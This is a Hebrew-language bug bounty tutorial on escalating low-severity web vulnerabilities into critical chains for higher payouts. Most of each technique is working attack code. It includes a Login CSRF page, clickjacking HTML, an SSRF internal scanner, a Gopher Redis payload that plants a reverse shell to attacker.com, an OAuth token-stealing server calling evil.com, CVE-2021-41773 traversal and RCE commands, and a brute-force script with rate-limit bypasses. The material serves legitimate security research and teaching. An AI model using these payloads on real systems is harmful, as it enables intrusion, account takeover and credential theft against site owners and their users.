לדלג לתוכן

מ-Low ל-Critical - הסלמת חומרת חולשות

הבנת דירוגי חומרה - CVSS

לפני שמתחילים להסלים חולשות, צריך להבין מה הופך ממצא לקריטי.

סולם CVSS v3.1

None:     0.0
Low:      0.1 - 3.9
Medium:   4.0 - 6.9
High:     7.0 - 8.9
Critical: 9.0 - 10.0

הפרמטרים שקובעים חומרה

Attack Vector (AV):
  Network (N)  - remote attack over the network
  Adjacent (A) - attack from an adjacent network
  Local (L)    - local attack
  Physical (P) - physical attack

Attack Complexity (AC):
  Low (L)  - easy to exploit
  High (H) - requires special conditions

Privileges Required (PR):
  None (N) - no privileges
  Low (L)  - regular privileges
  High (H) - high privileges

User Interaction (UI):
  None (N)     - no interaction
  Required (R) - requires interaction

Impact:
  Confidentiality (C): None/Low/High
  Integrity (I):       None/Low/High
  Availability (A):    None/Low/High

מה הופך ממצא ל-Critical?

ממצא קריטי בדרך כלל כולל:
- וקטור רשת (Network)
- מורכבות נמוכה (Low)
- ללא הרשאות נדרשות (None)
- ללא אינטראקציית משתמש (None)
- אימפקט גבוה על סודיות, שלמות, וזמינות

המטרה שלנו: לקחת ממצא שלא עומד בקריטריונים האלה ולשרשר אותו כך שהתוצאה כן עומדת.


טכניקה 1 - Self-XSS ל-Full XSS

הבעיה

Self-XSS היא חולשת XSS שבה רק המשתמש עצמו יכול להזריק ולהפעיל את ה-payload. רוב תוכניות ה-Bug Bounty לא מקבלות Self-XSS כי אין סיכון אמיתי - למה שמשתמש יתקוף את עצמו?

שיטה א - Login CSRF

אם יש Login CSRF (אפשר לחבר קורבן לחשבון של התוקף):

<!-- Attacker page: logs the victim into the attacker's account -->
<html>
<body>
  <h1>Loading...</h1>

  <!-- Step 1: logs the victim out -->
  <img src="https://target.com/logout" style="display:none">

  <!-- Step 2: logs into the attacker's account (Login CSRF) -->
  <form id="loginForm" action="https://target.com/login" method="POST">
    <input type="hidden" name="username" value="attacker">
    <input type="hidden" name="password" value="attacker_pass">
  </form>

  <script>
    // Wait for the logout to finish
    setTimeout(() => {
      document.getElementById('loginForm').submit();
      // The victim is now logged into the attacker's account
      // Where the Self-XSS is already injected
      // The victim sees the XSS and JavaScript runs in their browser
    }, 1000);
  </script>
</body>
</html>

זרימת התקיפה

1. Attacker injects Self-XSS into their own account (e.g. in the "about" field)
2. Attacker sends the victim a link to a page that performs Login CSRF
3. Victim is logged into the attacker's account
4. Victim browses and sees the Self-XSS
5. The JavaScript runs in the victim's browser
6. The JS steals the victim's cookies (from their real account)
   or performs actions on the victim's behalf

שיטה ב - chaining עם Clickjacking

<!-- Attacker page: clickjacking that causes the victim to inject XSS -->
<html>
<head>
<style>
  iframe {
    position: absolute;
    top: 0;
    left: 0;
    width: 500px;
    height: 400px;
    opacity: 0.01;  /* nearly transparent */
    z-index: 2;
  }
  .fake-page {
    position: absolute;
    top: 0;
    left: 0;
    z-index: 1;
  }
  .fake-button {
    position: absolute;
    top: 235px;  /* positioned over the real save button */
    left: 150px;
    padding: 10px 30px;
    background: #4CAF50;
    color: white;
    border: none;
    cursor: pointer;
    font-size: 18px;
  }
</style>
</head>
<body>
  <div class="fake-page">
    <h1>You won a prize!</h1>
    <p>Click the button to claim your prize</p>
    <button class="fake-button">Claim prize</button>
  </div>

  <!-- The iframe with the vulnerable page - the profile field is already filled with XSS -->
  <iframe src="https://target.com/profile/edit#bio=<script>alert(1)</script>">
  </iframe>
</body>
</html>

הסלמה בדירוג

Before:
  Self-XSS
  CVSS: 0.0 (Informative)
  Reason: requires the attacker to attack themselves

After chaining with Login CSRF:
  Stored XSS via Login CSRF
  CVSS: 6.1 (Medium) to 8.0 (High)
  Reason: the attacker can trigger XSS in the victim's browser

טכניקה 2 - SSRF מוגבל ל-RCE

הבעיה

SSRF מוגבל שרק מאפשר לבצע בקשות HTTP פנימיות ללא החזרת תוכן (Blind SSRF) - בדרך כלל מדורג כ-Low.

שלב א - סריקת הרשת הפנימית

import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = "https://target.com/api/webhook"

def scan_port(host_port):
    host, port = host_port
    try:
        response = requests.post(TARGET, json={
            'url': f'http://{host}:{port}/'
        }, timeout=5)

        # Short response time = open port
        if response.elapsed.total_seconds() < 2:
            print(f"[+] Open: {host}:{port}")
            return (host, port, True)
    except Exception:
        pass
    return (host, port, False)

# Scan internal network
targets = []
for i in range(1, 255):
    for port in [80, 443, 8080, 8443, 6379, 27017, 9200, 5432, 3306]:
        targets.append((f"10.0.1.{i}", port))

with ThreadPoolExecutor(max_workers=20) as executor:
    results = list(executor.map(scan_port, targets))
    open_ports = [(h, p) for h, p, s in results if s]

print(f"\n[+] Found {len(open_ports)} open ports")

שלב ב - זיהוי שירותים פנימיים פגיעים

# Check unsecured Redis
response = requests.post(TARGET, json={
    'url': 'http://10.0.1.50:6379/'
})

# Check Elasticsearch
response = requests.post(TARGET, json={
    'url': 'http://10.0.1.100:9200/_cat/indices'
})

# Check Kubernetes API
response = requests.post(TARGET, json={
    'url': 'https://10.0.1.1:6443/api/v1/namespaces'
})

# Check Docker API
response = requests.post(TARGET, json={
    'url': 'http://10.0.1.200:2375/containers/json'
})

שלב ג - exploit שירות פנימי ל-RCE

# Exploit unsecured Redis via SSRF (Gopher protocol)
import urllib.parse

# Redis commands to write a cron job
redis_commands = """
FLUSHALL
SET cronjob "\\n\\n*/1 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1\\n\\n"
CONFIG SET dir /var/spool/cron/crontabs
CONFIG SET dbfilename root
SAVE
QUIT
"""

# Encode for the Gopher protocol
encoded = urllib.parse.quote(redis_commands.replace('\n', '\r\n'))
gopher_url = f"gopher://10.0.1.50:6379/_{encoded}"

response = requests.post(TARGET, json={
    'url': gopher_url
})
print(f"[+] Exploit Redis: {response.status_code}")

הסלמה בדירוג

Before:
  Blind SSRF
  CVSS: 3.5 (Low)
  Reason: no content is returned, only the ability to make requests

After chaining:
  SSRF -> internal network scan -> Redis -> RCE
  CVSS: 9.8 (Critical)
  Reason: remote code execution without authentication

טכניקה 3 - Open Redirect ל-Account Takeover

הבעיה

Open Redirect בדרך כלל מדורג כ-Low או Informative - "זה רק הפניה".

שיטה א - גניבת OAuth token

# Legitimate redirect
GET /redirect?next=https://target.com/dashboard HTTP/1.1
Host: target.com

# Exploit
GET /redirect?next=https://evil.com HTTP/1.1
Host: target.com

שילוב עם OAuth:

Attack link:
https://auth-provider.com/authorize?
  client_id=TARGET_ID&
  redirect_uri=https://target.com/redirect?next=https://evil.com&
  response_type=token&
  scope=email+profile

Flow:
1. Victim clicks the link
2. Approves access to target.com (legitimate)
3. Redirected to: https://target.com/redirect?next=https://evil.com#access_token=TOKEN
4. Open Redirect redirects to: https://evil.com#access_token=TOKEN
5. Attacker stole the token

שיטה ב - גניבת קוד אוטוריזציה

from flask import Flask, request

app = Flask(__name__)

@app.route('/callback')
def steal():
    # Steal the authorization code
    code = request.args.get('code')
    state = request.args.get('state')

    if code:
        # Exchange for a token
        token_resp = requests.post('https://target.com/oauth/token', data={
            'grant_type': 'authorization_code',
            'code': code,
            'redirect_uri': 'https://target.com/redirect?next=https://evil.com/callback',
            'client_id': 'TARGET_CLIENT_ID'
        })

        token = token_resp.json()
        print(f"[+] Stolen token: {token}")

        # Access the account
        me = requests.get('https://target.com/api/me', headers={
            'Authorization': f"Bearer {token['access_token']}"
        })
        print(f"[+] Account: {me.json()}")

    return "<h1>Error</h1>", 500

app.run(host='0.0.0.0', port=443, ssl_context='adhoc')

הסלמה בדירוג

Before:
  Open Redirect
  CVSS: 3.4 (Low)
  Reason: just a redirect to an external site

After chaining:
  Open Redirect -> OAuth Token Theft -> Account Takeover
  CVSS: 8.1 (High)
  Reason: account takeover without complex interaction

טכניקה 4 - חשיפת מידע לexploit

חשיפת גרסה ל-CVE

HTTP/1.1 200 OK
Server: Apache/2.4.49
X-Powered-By: PHP/7.4.3

הexploit:

# Search for a CVE for Apache 2.4.49
# CVE-2021-41773 - Path Traversal / RCE

curl -s "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"

# If mod_cgi is enabled - RCE
curl -s -X POST "https://target.com/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh" \
  -d 'echo Content-Type: text/plain; echo; id'

חשיפת קוד מקור ל-חולשות חדשות

# Exposing .git
GET /.git/HEAD HTTP/1.1
Host: target.com

HTTP/1.1 200 OK
ref: refs/heads/main

שחזור קוד המקור:

# Use the git-dumper tool
git-dumper https://target.com/.git/ ./source_code

# Search for vulnerabilities in the code
grep -r "eval(" ./source_code/
grep -r "exec(" ./source_code/
grep -r "system(" ./source_code/
grep -r "password" ./source_code/config/
grep -r "secret" ./source_code/.env
grep -r "SQL" ./source_code/ | grep -i "query"

חשיפת IP פנימי ל-SSRF ממוקד

HTTP/1.1 500 Internal Server Error

{
  "error": "Connection refused",
  "details": "Could not connect to backend at 10.0.1.50:8080"
}

שימוש ב-IP שהתגלה:

# Now we have a precise target for SSRF
response = requests.post('https://target.com/api/webhook', json={
    'url': 'http://10.0.1.50:8080/admin/execute?cmd=id'
})

הסלמה בדירוג

Before:
  Version disclosure (Information Disclosure)
  CVSS: 0.0 - 3.0 (Informative/Low)

After chaining:
  Version -> known CVE -> RCE
  CVSS: 9.8 (Critical)

טכניקה 5 - bypass Rate Limiting ל-Brute Force

הבעיה

Rate Limiting על דף ההתחברות מונע brute force - אבל אם אפשר לעקוף אותו, זה הופך ל-Account Takeover.

שיטות bypass

import requests
import itertools

TARGET = "https://target.com/api/login"
USERNAME = "admin@target.com"

# List of common passwords
passwords = open('top1000.txt').read().splitlines()

def try_login(password, technique):
    headers = {'Content-Type': 'application/json'}

    if technique == 'ip_rotation':
        # Method 1: rotate IP via headers
        headers['X-Forwarded-For'] = f"10.{hash(password) % 256}.{hash(password+'a') % 256}.1"
        headers['X-Real-IP'] = headers['X-Forwarded-For']

    elif technique == 'case_variation':
        # Method 2: change case in the email
        variations = []
        for i in range(len(USERNAME)):
            if USERNAME[i].isalpha():
                v = list(USERNAME)
                v[i] = v[i].swapcase()
                variations.append(''.join(v))
        # Each variation is treated as a different user by the Rate Limiter

    elif technique == 'null_byte':
        # Method 3: add characters that get normalized away
        modified_user = USERNAME + '%00'
        # or
        modified_user = USERNAME + '\t'

    elif technique == 'param_pollution':
        # Method 4: Parameter pollution
        return requests.post(TARGET,
            data=f"username={USERNAME}&password={password}&username=different@email.com",
            headers={'Content-Type': 'application/x-www-form-urlencoded'})

    elif technique == 'json_array':
        # Method 5: send multiple passwords in a single request
        return requests.post(TARGET, json={
            'username': USERNAME,
            'password': [passwords[i:i+100] for i in range(0, len(passwords), 100)][0]
        }, headers=headers)

    return requests.post(TARGET, json={
        'username': USERNAME,
        'password': password
    }, headers=headers)

# Try all the methods
for technique in ['ip_rotation', 'case_variation', 'null_byte', 'param_pollution']:
    print(f"\n[*] Trying method: {technique}")
    for password in passwords[:100]:
        response = try_login(password, technique)
        if response.status_code == 200 and 'token' in response.text:
            print(f"[+] Password found: {password}")
            break
        elif response.status_code == 429:
            print(f"[-] Rate limited - method {technique} doesn't work")
            break

הסלמה בדירוג

Before:
  Rate Limiting Bypass
  CVSS: 3.0 (Low)
  Reason: only bypasses a protection mechanism

After:
  Rate Limiting Bypass -> Brute Force -> Account Takeover
  CVSS: 7.5 (High) to 9.1 (Critical)
  Reason: takeover of any account

הדגמת אימפקט עסקי

חולשה לפני הסלמה

Title: Self-XSS in Profile Bio Field
Severity: Informative
Payout: $0
Description: "A user can inject JavaScript into their own profile field"

אותה חולשה אחרי הסלמה

Title: Stored XSS via Login CSRF Leading to Mass Account Takeover
Severity: Critical
Payout: $10,000+
Description: "An attacker can take over any account via a chain:
1. Login CSRF logs the victim into the attacker's account
2. The Self-XSS injected in the attacker's account fires in the victim's browser
3. JavaScript steals the victim's real session
4. Attacker uses the session for full takeover

Business impact: every user who clicks a malicious link loses control
of their account. An attacker can access personal data, perform actions
on the user's behalf, and use the account for further attacks."

איך להציג ממצאים מוסלמים

מבנה דוח מומלץ

## Title
[Short description of the full chain - not just the individual vulnerability]

## Severity
CVSS: [score] ([level])
Vector: [full vector]

## Description
[Technical description of each vulnerability separately]

## Exploit chain
1. [First step] - [description + HTTP request]
2. [Second step] - [description + HTTP request]
3. [Third step] - [description + result]

## Proof of exploit - PoC
[Full script demonstrating the entire chain]

## Business impact
- Who is affected?
- What can the attacker do?
- What is the impact on users?
- What is the impact on the business?

## Recommended fix
[Fix for each vulnerability in the chain - one fix can break the whole chain]

טיפים להגדלת תשלום

  1. הדגימו אימפקט מקסימלי - לא רק "XSS" אלא "Account Takeover"
  2. הראו שהתקיפה ניתנת להרחבה - "כל משתמש" ולא "משתמש ספציפי"
  3. הציגו סיכון עסקי - "גישה למידע כרטיסי אשראי של לקוחות"
  4. ספקו PoC עובד - סקריפט שמדגים את כל השרשרת
  5. הציעו תיקון - הראו שאתם מבינים את הבעיה

סיכום

Golden rules for escalating vulnerabilities:
1. Don't dismiss findings - every vulnerability is a potential link
2. Think about connections - what else can be done with the finding
3. Map all the endpoints - look for places the vulnerability affects
4. Check protection mechanisms - maybe there's a vulnerability that bypasses the protection
5. Document everything - a well-documented chain is worth more